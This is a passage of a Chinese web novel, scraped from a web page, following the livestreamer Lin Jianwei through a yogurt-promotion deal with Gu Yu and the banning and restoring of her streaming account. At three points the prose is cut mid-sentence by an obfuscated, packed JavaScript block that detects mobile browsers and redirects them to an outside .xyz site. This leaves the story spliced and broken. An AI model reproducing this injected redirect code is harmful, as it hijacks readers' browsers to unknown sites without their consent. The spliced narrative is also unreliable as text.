她看上去神色有些落寞。麦乐鸡快步走去,点头打了个招呼,本想寒暄一下,谁知一张口还是直接问她有没有看见谷煜和林见微。 郝施轻笑一下,朝阳台方向努努嘴。 麦乐鸡朝外看去——阳台上的阴凉处背着客厅站着一男一女,男的高大挺拔,女的纤细柔弱。 那是谷煜和林见微,二人并肩站着,似乎相谈甚欢。 一旁郝施评论道:“他们跑出去说悄悄话了。这大热天的,也不怕晒!” 麦乐鸡心里顿时纠结起来,半小时前,如果她看到这样的场景,肯定会气不打一处来,不由分说冲出去,把二人分开。 谷煜是她的客人,这里是她的家,她不允许大劈叉在这里公然勾搭她的客人。 可是就在刚刚,她好像刚刚给大劈叉悄悄戴上了一顶小绿帽…… 如果一定要在谷煜和陈怀顾当中做个选择,那她当然选择陈怀顾,毕竟,他是娱乐圈有头有脸的男星,挣得肯定不少,带出去更有面子。 所以,此刻她保持住了理智,拉着郝施说:“那就让他们在外面晒着吧,咱们去别的地方聊,眼不见心不烦。” 郝施很是意外,打量了麦乐鸡好几眼,觉得太阳是打西边出来了,醋坛子麦乐鸡见到这样的场面,竟然没有进入红温状态。 也许是刚刚林见微的公开道歉让麦乐鸡很受用,所以她决定放她一马? 犹豫半晌她评论道:“等会儿陈怀顾见到这场景,我们又有好戏看了。” 麦乐鸡心道:那可就太好了,让陈怀顾好好看看大劈叉这个忘恩负义的家伙,看看她那副不识好歹,不知天高地厚的面孔。 陈怀顾肯定受不了自己的女朋友当众和其他男生单独聊天,而且还聊得这么欢。 到时候他一生气,说不定会立刻踹了大劈叉,这样……这样她麦乐鸡就可以趁机暗度陈仓了。 客厅外的阳台上,阳光热辣地倾泻下来,也许是最近没有怎么降雨,空气的湿润度不高,再加上时不时有点小风,所以站在外面也不觉得特别热。 阳台正对着花园,有一说一,麦乐鸡的花园打理得还是相当好的,几处景观植物被修剪得恰到好处,叶子也泛着油亮的光。 一旁的花圃里栽满了姹紫嫣红的鲜花,不远处碧蓝的泳池闪着粼粼波光。 一切都透着闲适,令人耳清目明。 林见微做演员的时候,就一直希望可以有朝一日买一套位置偏僻的别墅,在后花园里种上这样的花花草草,平时没事的时候在院子里喝喝茶晒晒太阳。 可惜她一直没攒够钱。 这时,谷煜在她身旁轻声问道:“最近怎么样,直播得还好吗?” 林见微收回目光:“你怎么来了?” 谷煜嘻嘻一笑:“我也算麦乐鸡半个朋友,听说今天有个小派对,恰好没什么事就过来看看。” 林见微根本不相信他说的,但感觉也探不出什么实话,只得回答了他的问题:“挺好的,你呢,工作忙吗?” 谷煜微微点头,笑了一下:“还行,最近因为舒养酸奶的事挺忙的,但是总体可控。” 总体可控,说明上次的饭局起了作用,李寅虎暗中出力帮忙了。 谷煜突然话题一转:“我看了你两天前的直播。” 他指的是她唱歌跳舞,曝光高翔丑恶事迹的那一次。 林见微心里咯噔一沉。 她的举动明显不合常理,还有引流嫌疑,不知道正人君子谷煜会如何看待她。 林见微只得笑着回说:“感谢谷大公子在百忙之中支持我的工作。” 谷煜:“你是从小就练习跳舞吗?” 林见微点点头:“是童子功,从小就被送去学舞蹈,但后来没坚持下来。” 谷煜:“你唱歌也不错。” 林见微不好意思地挠挠头:“唱歌比跳舞差远了,也就是给人看个热闹。” 谷煜认真地看着她正色说:“你唱歌跳舞水平真的可以的,跳舞不用说,就算进娱乐圈和那些选秀明星比,也毫不逊色。” “唱歌的话如果你能找个老师好好练习一下,再选一些适合自己的曲目,也很加分。” 林见微受宠若惊:“谢谢,我回去好好练习一下。” 说着他话锋微转,眼神里带了些意义不明的揣摩,停顿半晌问道:“所以你和陈怀顾、林见微到底是什么关系?” 林见微心里一惊,没想到谷煜话题转得这么快,问得这么直接。 直觉告诉她,谷煜今天不请自来,就是为了问清这些让他困惑的事。 谷煜这个人表面看上去谦和温顺,钝感的五官让他显得没什么攻击性,再加上他性格也随和平稳,所以他一直以脾气好著称。 但此时此刻,他单刀直入的提问和一瞬间锐利起来的眼神,林见微突然觉得,他并不像表面看上去的那般温顺随和。 思忖片刻,她决定把最真实的情况和盘托出: “我和陈怀顾是两年前认识的,那时我刚刚起步做直播,他总是深夜的时候点进来。” “当时根本没人看我直播,所以只要他进来,我就和他一直聊下去。” “聊着聊着,他向我表白,希望我成为他女朋友。” “当时我再三跟他确认:你和林见微还在一起吗?” “陈怀顾每次都斩钉截铁地回答:我们只是合约情侣,早没感情了,只是碍于和公司条约,没有公开分手。” “他是那么的信誓旦旦,所以我相信他说的是真的,就跟他在一起了。” “至于林见微……我只在电视上见过她,她……她看上去比我好多了。其实我无时无刻不在想,陈怀顾为什么要离开她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459803|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,跟我在一起。” 说着,林见微低下头,绞着双手咬唇低声道:“也许是因为她太光芒四射,让陈怀顾觉得刺眼。” 说着,她抬起头看向谷煜——他神情严肃,眉头微皱,眼睛里似乎涌动着什么。 “你一定好奇我为什么要在直播间里为林见微打抱不平吧,毕竟,她和我算是情敌。” 林见微无奈笑了笑:“我只是觉得她挺可怜的,一个人站在高山之巅,明明不胜寒,却还是要咬牙坚持下去。” “我只是觉得,既然都是女孩子,何必因为男人而互相为敌?那样岂不是便宜了臭男人。” 谷煜脸上充满惊讶。 林见微补道:“至于高翔,那纯粹是我瞎猜的,网上疯传各种关于对赌协议、高源资本、聚力资本的事,我就挑了一个最合理的解读讲了出来,为了搏一搏流量。” “高翔那边也威胁我说要发律师函,我先应付过去了,以后的事以后再说。” 对于林见微的一番回答,谷煜确实非常意外。 一方面,林见微不仅回答了他一开始的问题,而且还猜到他会问高翔的事,是个聪明通透的人。 另一方面,她条理清晰逻辑在线,讲话谈吐比一般只会软语哄人的网红高一个境界。 他之前调查过,知道大劈叉只有高中学历,所以没想到她头脑如此清晰。 他确实对大劈叉和陈怀顾的关系有所怀疑,他想知道她是不是知三当三。 作为半个圈内人,他不相信陈怀顾和林见微已经分手,以陈怀顾的脾性和本事,不会轻易放弃林见微这张长期饭票。 陈怀顾现在还在积极对外营业他和林见微的感情,这几天微博上到处都是相关新闻: 陈怀顾对林见微不离不弃,寸步不离守在抢救室外。 林见微脱离生命危险,陈怀顾悉心照顾,三十小时没合眼。 后面是一堆狗仔和路人偷拍的照片,照片里陈怀顾戴着口罩,神情憔悴,眼下一片乌青。 这一波热搜为陈怀顾赚足了路人缘,不少人纷纷竖起大拇指,夸他是有担当的好男人。 可谁知道他私底下的那些龌龊事。 刚刚林见微回答他的时候,表情自然,落落大方,语气里没有丝毫紧张,不像是假话。 谷煜眼底深处的戒备渐渐消散。 他的表情回暖,重新看向林见微时目光充满赞许。 他真诚地说:“我很佩服你的胸襟,你是个有气度的人。” 林见微好奇地看着他。 谷煜:“你不介意林见微是你男朋友的前女友,毅然决然地挺身而出,即使将自己陷入危险也要为她伸张正义。” “而且,刚刚你能低下头,当众向Melody道歉,这不是一般人能做到的。” “大劈叉,你是个有格局的人,不得不承认,之前我小瞧你了,向你道歉。” 林见微笑着摆手:“千万别这么说,我一个一百零八线小主播,任谁看都会觉得我是一自毁前途,只知道吃青春饭的精神小妹。” “至于麦乐鸡这个人嘛,不值得我花太多功夫,既然能用言语上的低头换来表面的平静,何乐而不为呢。” 这是一句已经把谷煜当朋友的话,毕竟,她可不敢当着其他人的面吐槽麦乐鸡。 谷煜哈哈一笑,拍手和道:“说得好,我也这么认为。” 远处晴天蔚蓝,流云溶溶,虽然暑热,但是不时有微风拂面,让人精神舒爽。 院子里的花香格外浓郁,鸟鸣也清晰可闻,谷煜认真看着林见微,问道:“大劈叉,我们可以互相帮助一下吗?” 林见微转头,好奇地看着谷煜。 谷煜:“你能不能在直播的时候,给舒养酸奶做些推广?我给你广告费。你开个价。” 24.二十四 林见微睁大了眼睛,不敢相信刚刚听到的话。 好半晌,她才指着自己问道:“你说,让我来帮你推广舒养酸奶?你确定?” 谷煜被她的反应逗笑了:“对,怎么了,不愿意接我的商务?” 林见微摇头,回答的时候有点结巴:“我,我是担心你不愿意,你想好了?我可没什么流量,就是个在一百零八线上挣扎着的一个小小小小主播。” 谷煜:“没事啊,我的舒养酸奶反正也快凉了,太知名的主播我也请不起。” 林见微露出一个笑哭的表情:“也是,我价格亲民实惠。呃要不……” 她在脑力里努力搜寻着商务合作广告价位,天可怜见,大劈叉在这之前从来没有接过商务。 “……要不你给我五千块钱?我保证在接下来的直播里不遗余力地给舒养酸奶做广告,跳一支舞就喝一瓶。” “我还会帮你想一想广告词,哦对了,干脆我把舒养酸奶唱进歌里好了,到时候把歌词改一改,夜太漫长,凝结成了霜,是谁在阁楼上慢慢喝舒氧。” 谷煜哭笑不得:“你知道你唱的这首歌后面接着的是菊花残吗?” 林见微不好意思地挠挠头:“哎呀还真是应景。” 谷煜无奈地看着她:“我们的酸奶其实没有质量问题的。” 林见微慌忙点头:“嗯嗯我知道,是被陷害的。” 谷煜:“刚刚你要五千的推广费……” 林见微见他面露犹豫之色,慌忙能屈能屈地说:“如果嫌多,四千也行。” 谷煜哈哈一笑:“不,我想的是,你在意的不应该是推广费,而是比这个更值钱的东西。” 林见微睁大眼睛,似乎意识到什么。 谷煜略低头,在她耳边低声说出两个字:“流量。” 林见微恍然大悟,一时间惊喜不已—— 没错,她怎么没想到这一层,谷煜的人脉广,肯定在直播圈里认识什么重量级人物。 只要他愿意动用一下人脉,平台自然会给她倾斜更多流量。 流量,是她安身立命最重要的东西,是生钱的法宝,比钱更值钱。 也是多少人苦心经营了许久也追求不来的东西。 谷煜续道:“今天晚上,你就负责在直播间吆喝,我去跟你们后台老总打个招呼,让他们多分点流量过来。” 林见微喜得合不拢嘴:“那可太好了,咱们这算是互惠互利,实现双赢。” 谷煜顺势伸出手:“合作愉快。” 林见微毫不犹豫地用力握住他的手:“合作愉快。” 谷煜握住她的手,笑道:“还有,推广费我也会给你,但得换种方式。” “我们用分成制,五五开。换句话说,你每卖出去一瓶酸奶,赚的钱咱俩对半分。” 林见微意识到了什么:“我明白了,你这是在激励我,想看看我究竟有多大本事。” 谷煜嘿嘿一笑:“是有这么个意思,再说了,我给你引流,也得收点辛苦钱对吧。” 林见微再次用力握了他的手:“好,就这么定了,君子一言驷马难追!” 二人聊到兴头上,谷煜喝完杯底香槟,摇着空杯问道:“咱们是不是该进去了?” 林见微恍然惊醒,一拍大腿:“是该进去了。” 谷煜推开身后的门,迎着冒出的一阵冷气,大踏步走了进去。 林见微跟在后面,刚刚在外面待得有点久,猛地一回到空调屋内,林见微不由得打了个激灵。 身上凉意遍生。 钱雯和Chris原本在说着什么,见他二人进来,立刻止住了声,望过来的目光里满是惊奇。 陈怀顾、麦乐鸡和郝施站在厨房附近,脸色阴沉地盯着谷煜和林见微。 满室一片寂静,众人目光如矛头一样,刷刷指了过来。 谷煜和林见微刚刚出去了好一阵子,联想起上一次的事,众人既紧张又好奇,想知道这一次会发生什么。 郝施打破宁静,率先发难:“哟,你们两个在外面聊了那么久,都聊了些什么啊?” 林见微选择据实以告,毕竟这种事情瞒不住,于是平静道:“聊了些商务。” 她一边回答一边看向陈怀顾。 不知为何,这一次他的神色有些异常,目光也有些躲闪,整个人的感觉和上一次在琴房“抓包”她和谷煜的时候完全不同。 上一次他是那么理直气壮,做起事情不管不顾,但今天,他有点瑟缩,好像被什么事绊住了。 林见微又看了一眼他旁边的麦乐鸡。麦乐鸡倒是一如既往地咄咄逼人,目光里埋着钩子。 郝施没忍住嗤笑了一声,但随即看到了谷煜的表情,立刻摆出一副痛心疾首的样子,对他道:“哎呀,都是我们招待不周,我们不知道谷公子您是想来谈商务合作的!” 一边说一边拉起麦乐鸡的手,满脸堆笑:“Melody是我们这里最红的主播!合作过的商家少说也有上百家,经验丰富,敬业上进,您要不要考虑一下?” 说着她又快步走向钱雯,不由分说一把拉住她,转头冲谷煜倾力推荐: “雯雯也是一位非常优秀的主播,虽然她现在粉丝量还不多,也就两三万那样吧,但她直播间流量很大的,而且一直在持续增长,前景很好的!” 林见微:“郝施,谷公子和我已经谈过了……” 郝施:“谈过了又怎样啊!还是可以和Melody和雯雯接着谈的嘛。”说着冲谷煜笑道:“我再给大家倒点酒,你们坐下慢慢聊!” 这时谷煜不得不打断她:“不用忙了,我和大劈叉都谈完了。” 郝施疑惑不解:“谈完了?你是说……” 谷煜:“我和大劈叉已经达成了商业合作,这就是我今天来这里的目的。” 说着,他看向陈怀顾。 陈怀顾的脸阴得可怕,让人想起暴风雨即将来临前的黑压压的天空。 他直起身子,脊背紧收着,仿佛一只窄巷里和敌人狭路相逢的猫。 手掌死死抵在岛台边沿,指尖因过度用力而泛白。 他的目光死死锁在谷煜脸上——谷煜看上去那么坦荡,一身的光明磊落,这让他更加气愤厌恶。 再看看一旁的林见微:她今天一副家常打扮,纯棉的白色吊带舒舒服服地勾勒出她的玲珑身材,碎花小短裙显得俏皮可爱,两条腿笔直修长,在阳光的照射下显得异常白皙。 她就那样站在谷煜身后,整个人显得娇小可爱,又带着一点楚楚可怜。 她的外貌和之前并无二致,他第一次见到她真人时就不可自拔地爱上了她,她看上去那么单纯善良,惹人怜爱。 但不知为什么,这几天他总觉得她哪里不太对,所有的撒娇卖萌都好像变成了刻意为之,她身上出现了一股极为陌生的气场。 一股大女主的气场。 这让他很不舒服。 按照以往,他肯定雷霆震怒,直接上去一拳把谷煜打趴在地,然后把林见微扯回去,关上门好好教育一番。 但是现在,一切都不太对了。她好像已经不是那个她了。 他也不是几个小时前的他了,他在这栋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465357|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房子里,吻了别的女人。 一想到刚刚的一幕幕,陈怀顾的心里登时有些气短,目光也有些许游移。 这时林见微大步跑过来,不力挽住陈怀顾僵硬的胳膊:“亲爱的咱们走吧,该说的话咱们路上细说?” 陈怀顾缓缓转过头,只见他的小女友仰起头,两颗星星眼直勾勾看着他,目光里充满了撒娇和求饶。 一时之间,他突然觉得精神和□□都非常疲惫。 于是,他没有再说什么,只是在几秒钟后让林见微挽着,在众人各色的目光里,离开了麦乐鸡的家。 回去的一路上,陈怀顾几乎没说什么话,两手把着方向盘,眉头紧锁,脸色沉得让人心里发寒。 震耳欲聋的音乐响彻车内,动感嘶吼的摇滚乐挑战着神经。 有好几次林见微都非常想把音量调小,但余光里瞥见陈怀顾那张阴得要下大暴雨的脸,她犹豫再三,还是忍了一路。 陈怀顾并没有说要去哪里,但看方向,他是要送自己回去。 一路上林见微大气不敢出,最终,二十多分钟之后她刑满释放,车子停在了市中心酒店门口。 停车之后,陈怀顾一句话也没说,目光依然直直看着前方,眉头紧拧。 林见微知趣地打开车门,一股热浪迎面而来,她赶紧关上车门,生怕再晚一点,挤进车内的热空气会点燃陈怀顾这个火药桶。 她刚刚关上门,车子立刻启动,汇入车流扬长而去。 林见微看着白色跑车消失在视线内,暗暗舒了一口气。 陈怀顾显然是气炸了,才会一路上沉默不语,绝口不提刚刚的事。 但……果真如此吗? 按照陈怀顾的秉性,任何占理的事他都会得理不饶人,怎么会放过刚刚那个机会? 林见微反复想着,转身走进酒店。 回到房间是晚上六点,林见微赶在七点的直播前想歇一会儿,但打开手机后,每个app的收信箱都爆炸了似的,新消息堆积如山。 她叹了口气,先点开香蕉直播。 平台里又新涌进来若干私信,快速浏览一遍,绝大部分的人都在问她是否安好,什么时候直播,高翔的事有没有新进展。 还有一条系统消息,通知她之前被封的视频经过后台审核,确认符合平台各项规定,现在已重新上架。 还有一条消息是小花猫喵喵喵发来的:[亲亲,咱们之前被举报的视频已经恢复啦,以后有任何审核方面的问题,欢迎随时来找我咨询!] 林见微笑了笑,这种情况,很难让人不觉得,流量才是王道,之前她去后台申诉,最后还得自己通读近一万字的审核标准,现在她流量上去了,后台直接派管理员和她解释。 此一时,彼一时。 看完香蕉直播的消息,离直播开始还有不到半小时时间,这时林见微的肚子嘹亮地叫了一声。 她不由地抚摸着瘪下去的肚皮,这才想起忙活了一整天,她还没吃顿正经饭。 她冲下去到最近的便利店火速搜刮了些三明治酸奶火鸡面,然后百米冲刺跑上来后,离直播开始还有七分钟。 她赶忙架好机器,迅速换上运动衣裙,又去洗手间整理了一下仪容仪表,给自己绑了个丸子头,在额头一侧贴上大劈叉专属贴纸。 忙完一切,等她坐回手机前,距离开播还有一分钟。 她拿起手机,打算登陆香蕉直播,再次整理了下仪容。 然而这时,一则晴天霹雳的系统消息从天而降: 您的账号因违反直播规则而被封禁,请自查。 25.二十五 林见微:!!!!WTF!!! 她盯着这条消息,半晌不敢相信自己的眼睛。 她最近几天太忙了,每天只睡个把小时,所以她都怀疑是不是自己恍惚了。 刚回来的时候,她明明没有收到这条系统消息,怎么几分钟之后,这条消息就蹦出来了? 难道是她一开始漏掉了它? 林见微揉揉眼睛,看了一下系统消息的发出时间:19:00。 林见微:……!!!???!!! 好一会儿,她都处在极大的震惊中,这则系统消息犹如地震一般,震碎了她原本的计划。 她本打算利用这几天积累下来的流量,卖力直播一次,把自己会跳的舞和会唱的歌全部来一遍,然后再解释一下高翔的事。 她还打算在直播过程中不时提到谷煜的舒养酸奶,广告词她都想好了好几套。 她磨刀霍霍,就等着今晚大展风采,没想到系统竟然卡着她直播的点,给她摆了一道。 有那么一阵子她大脑一片空白,耳朵里嗡嗡响。 愣了半晌,她打开内容编辑板块,迅速编辑了一条文字内容: 给大家报个平安,还有一些好消息和坏消息。 好消息是,我目前暂时没事,高屎的人曾经来我家门口闹事,但都被挡回去了。 坏消息是,我直播的号被封了,原定今晚的直播暂时不能进行了。 请给我一点时间,我会回来的! 通读几遍,做了几个细微的改动,点击发送。 [您的账号已被封禁,暂不能发表任何内容,请和后台管理员联系] 林见微:……啊啊啊啊啊啊! 看来整个账号都被封了,任何内容都发不出去,视频、文字、直播,统统的不行。 她找到消息板块,紧急联系了小花猫喵喵喵:[您好,我的账号突然被封了,请问我如何才能解禁?] 等了三分钟,小花猫喵喵喵没有回复。 她又切进微信,找到小花猫喵喵喵,把消息复制粘贴过去。 又过了三分钟,两边都没有任何回复。 林见微有些急躁,霍地站起身,在屋内来回踱步起来。 双臂交叉抱在身前,她将最近几天的事反复思考了几遍。 这里肯定有人捣鬼,她才不相信世界上有如此的巧合,马上要直播了,结果账号被封禁了。 用脚指头想也知道,这肯定是麦乐鸡和郝施她们搞出来的幺蛾子。 但……会不会还有陈怀顾的功劳? 麦乐鸡和郝施虽然咋咋呼呼的,但凭她们的斤两,不一定能撬动后台的什么大人物。 但陈怀顾就不同了,他确实认识些人,如果想封一个十八线女主播,跟几个业内的朋友打个招呼,是可以做到的。 林见微站定在屋子中央,眉头紧缩,表情严肃。 如果是陈怀顾,那么凭她现在的力量,单打独斗是斗不过的。 想到这里,她从支架上一把拿起手机,直接找到谷煜的微信。 [谷煜,我这边遇到了突发情况,直播账号被封了,十分钟前的事。] [我已经和后台联系了,但还没得到回复,我会继续和后台联系,但这件事我觉得很蹊跷,怀疑有人捣鬼。] [你在直播圈认识什么朋友吗?能不能帮我打探一下。] 谷煜秒回:[别着急,我已经在查了。] [我看你直播没上线,就点进主页看了看。] [这件事确实挺蹊跷的。我已经在给认识的朋友打电话了,还没结果。] 行动力max,林见微心里涌起一股感动的暖流:[谢谢!] [今晚可能不能帮你推广舒养酸奶了,对不起。] 谷煜:[害,酸奶的事先别管了,解封账号要紧。] 林见微:[我这边继续试一下,我搜一搜客服电话,再问问后台管理员。] 谷煜:[好,你再试试,如果实在不行,我们再一起想办法。] 林见微感动地回:[嗯嗯!] 此时距离账号被封已经过去二十分钟,小花猫喵喵喵依然没回复她的消息,林见微登陆平台的手机版和电脑版,又一次进行了地毯式搜索,但是仍然找不到客服电话。 她又百度了一番,发现不少主播曾经抱怨过这个问题,但香蕉平台一直没有改进。 林见微内心哀嚎一片:这平台也太不正规了,难怪后台那么多可操作空间。 她思忖片刻,在手机上切到香蕉直播的消息板块。 盯着后台疯涌进来的私信,她点开其中一个,敲下[谢谢关心,我会尽快回来的],然后试着点击“发送”。 一秒钟之后,消息显示发送成功。 林见微捂住嘴巴,简直不敢相信自己看到的。 她刚刚只是随便试一试,发送之前已经脑补出“发送失败”的警示消息。 没想到私信竟然没被封。 她有一种发现新大陆的狂喜。 下一秒,消息显示已读,对面那人的头像后面疯狂跳动起省略号,显示TA正在输入。 很快,那人激动回复:天啊大劈叉你翻我牌子了!感动!!!你安全就好啊,我们都很担心。 林见微心里一阵感动,立刻回道:[谢谢亲!] 既然可以回复私信,林见微心里稍稍安定了一些。 她决定花点时间,给关心她的粉丝们一一回复。 于是,她编辑好了一条消息,大意是谢谢关心我没事,账号暂时出了问题,请给我一点时间,我一定会想办法回来。 消息复制,把近两百条私信逐条点开,消息粘贴,然后根据私信的内容略加调整,最后点击发送。 未读消息陆续跳了进来,大部分人都非常惊喜,送来了暖心鼓励。 当然也有人表示怀疑,直接问她是不是系统设置的定时群发消息。 还有的人直接开骂,说她为了博流量无所不用其极。 对于那些负面消息,她只当没看见。毕竟也是在娱乐圈混过好些年的,她的心理素质已经不是一般的强大,早就练就了对喷子视而不见的本领。 快速机械的重复操作让她的手指有些发麻,脖子发酸,一直盯着屏幕的眼睛也有些酸疼。 但她还是坚持不懈地一条一条地打开未读消息,确保将所有字都看一遍,然后发送回复。 整个过程花了一个小时,当她回复完最后一条消息,林见微长舒一口气,站起身来活动了一下四肢,又揉了揉肩颈。 一切都是值得的,她心想,她希望她的粉丝可以感受到她的诚心和歉意。 又过了一小会儿,小花猫喵喵喵终于发来了消息: [亲,我刚刚和后台沟通了,您的账号被人举报了,保险起见将暂时封号。] [但亲你别着急!大半夜的领导都下班了,明天一早我跟领导反应一下,争取早日帮你解封!] 林见微立刻回复:[谢谢亲!请问我现在可以做些什么吗?比如,删除一些视频文字内容?] 小花猫喵喵喵:[先不用哈,等领导上班之后我问问他们具体情况,之后就给您答复!] 林见微:[太谢谢了,那我就明天等你的信。] 小花猫喵喵喵:[嗯嗯。] 后台的未读消息一条条跳出来,手机的提示音叮咚叮咚不停响着。都是之前收到林见微回复的粉丝发来的回复。 她再次一条条点开,做了简短的回复,对于那些询问高翔事件具体进展的粉丝,她只是模糊地回答说还在跟进,具体等直播的时候详说。 第二轮的回复又花掉她四十多分钟的时间,再次看表时已经是晚上九点半了。 长时间的低头让林见微肩颈发酸,她干脆躺到酒店房间的床上,让自己放空一下。 但这个时候,一条微信消息蹦了进来。 谷煜:[我这边有进展了,电话联系?] 林见微立刻解开锁屏,兴奋而有力地敲下:[好,现在可以吗?] 下一秒谷煜的电话就打来了,林见微摁下接听键,直截了当地问:“怎么样?” 谷煜的声音平静温和,让人听了有种舒心的感觉:“我刚刚给几个朋友打了电话,了解了下情况。” “据我打听到的,你账号被封这件事背后确实有人策划,而且来头还不小,因为禁令是从高层下达的。” “被封的具体原因还不清楚,但听他们的意思,是你得罪了什么人。” 林见微哑然,她得罪的人可不少,麦乐鸡、郝施、陈怀顾……还有高翔。 突然,一股寒意从脊背爬过,她之前怎么没想到,有可能是高翔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469678|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在背后捣鬼呢。 命令是直接从高层下达的,听上去,幕后主使的力量颇为强大,直接找到平台高层,一定要毁掉她的直播。 如果是高翔指使的,一切就都说得通了。 林见微苦笑:“我最近树的敌人有点多。” 谷煜的声音依然平静温和:“没事,我已经斡旋过了,不出意外的话,你的账号很快就能恢复了。” 林见微腾地从床上坐起来:“???!!!” 谷煜哈哈一笑:“我谷煜呢,也算是小有人脉,这点事不在话下。” 林见微简直要激动得涕泗横流,如果不是隔着电话,她一定会直接扑上去给谷煜一个大大的拥抱。 “天啊!!!”林见微惊叫起来,然后很快意识到分贝着实有点高,心虚地朝一墙之隔的房间看了一眼。 她压低声音,恢复到正常音量,但也难掩兴奋:“我真的不敢相信,真是太谢谢你了,谷大天使!!” 听筒对面传来一阵爽朗笑声,林见微问道:“那我什么时候可以开始直播?明天吗,还是再过几天?” 谷煜有一瞬间的停顿,但很快便说:“应该不需要等那么久,一切顺利的话,你今晚就能开播了。” 林见微着实没想到能有这么快:“!!??” 谷煜:“我朋友说半小时内给我消息,你要不准备一下直播的东西,万一账号马上就解封了呢?” 林见微这下真的激动得眼泪都出来了,她不敢相信这一切能解决得如此顺利。 她抓着手机捣蒜般点头:“好,好,我早就准备好了,随时能开播。” 说着,她再次表达了感谢:“我不知道该说什么好了,这次真的谢谢你,如果没有你的帮助,单靠我自己,要解决这件事可能得到猴年马月了。” 谷煜呵呵笑了:“你不用感谢我,我也是为了我自己,舒养酸奶要靠你多宣传了,你要是直播不了,我还得再去找人推广,多麻烦。” 林见微也笑了,她感激谷煜将此事说得如此轻松,让她没有太大心理负担。 她拿着电话翻身下床,走到洗手间镜子前,三百六十度检查了一下自己的妆容。 一切都很完美,如果下一秒让她上镜,她能立马进入状态。 谷煜:“那就先这样,你等我消息。” 林见微用力点头。 谷煜果然给力,二十分钟后,林见微的账号就恢复正常了。 接到谷煜的微信消息,林见微立马登上香蕉直播,试着发了一条文字消息:账号解封,今晚十点直播,不见不散。 点击发送后,她紧张地盯着屏幕,生怕错过什么。 一秒、两秒、显示发送成功。 林见微兴奋地叫了出来,迅速划到主页——那里清清楚楚列着她刚刚发出去的文字内容。 没过几秒,右下角的心形标志旁边立刻显示数字3——3个人已经阅读并赞过她的内容了。 一分钟后,林见微刷新页面,心形标志旁边的数字已经变成了32,与此同时几条私信跳了出来: [真的吗真的吗,大劈叉你真的要十点直播吗??] [这速度也太快了,我还以为再也见不到你了呢嘤嘤嘤!] [天啊我刚刚看到了什么,小姐姐你的账号已经解封了吗?这么快吗??] 林见微打算先等一等,毕竟私信如潮水般涌进,她回复不过来。 与此同时,也有不少人在她刚刚发送的文字内容下留下评论: [泪目!大劈叉你回来了!!] [这是真的吗?不会是账号被盗了吧] [刚刚不还被禁言了么,怎么这么快就恢复了?系统bug啊?] [她被封号了?我错过了什么??] [不会是噱头吧,故意演这么一出博流量。] [博流量死全家,老子没那么多闲工夫看这些] 评论点赞数很快超过五十,临近十点的时候已经过百,林见微快速浏览着每一条新评论新私信,基本上毁誉半参。 这是个好兆头,林见微心想,愿意支持她相信她的网友比她想的要多一点。 世界上还是充满爱和信任的啊。 十点将近,林见微最后检查了一下妆容发型,清了清嗓子,然后打开直播。 十点整,直播开始。 26.二十六 她的脸刚刚出现在屏幕上,还没来得及说什么时,直播间的评论区就涌进了好些评论: [啊啊啊真的是她!] [大劈叉你还活着啊,太好了][笑哭] [大劈叉!快告诉我们发生了什么,快快快] [又来骗流量了] [既然觉得人家是骗流量,那你别看啊,口是心非] [前排就坐,小板凳已经搬好] 林见微露出一个甜美笑容:“大家好,欢迎来到我的直播间。” 评论区立刻飘过一连串红色小心心。 “现在是十点零二分,有些朋友可能还在来的路上,要不我们先等一小下,我准备一下音乐,等到十点十分的时候,我给大家跳个舞怎么样?” 评论区刷出一连串爱心和星星眼的表情,但更多的是这样的评论: [高翔高翔高翔高翔] [我要听高屎的事!] [所以高翔怎么样,你们见过面了吗?] [大便先生,大便先生,大便先生] 评论区里的内容让林见微忍俊不禁,她笑着解释: “确实有关于大便先生的消息,但是鉴于直播开得比较突然,很多朋友可能还没机会看到开播的消息,我先给大家唱唱歌跳跳舞助个兴。” “咱们再等一等晚到的朋友,到零点的时候我给大家公布最新进展。” 评论区: [不嘛不嘛不嘛,就要现在听!] [没有早鸟福利吗?我可是时刻守着第一消息,一看到开播声明就点进来了] [是啊,看在我们这么关心你的份上,透漏一点呗] [我都说了她是在博流量,你们看不出来吗] [都散了吧,我是预言家,零点的时候也不会放出什么消息,都是噱头] [我才是预言家,高大便先生未来三个月内会进局子] [前排留个屁股,有最新消息了踢我] [别卖关子,快说快说] 林见微笑而不语,更新了直播公告,这样新的用户一点进直播间,就可以知道大劈叉会在零点的时候公布高翔事件的最新进展。 接着她在笔记本电脑上调出音乐文档,还是那个“一路向前”的歌曲,她直播时跳的第一支舞。 也是她事业起步时,在观众面前首秀的舞蹈。 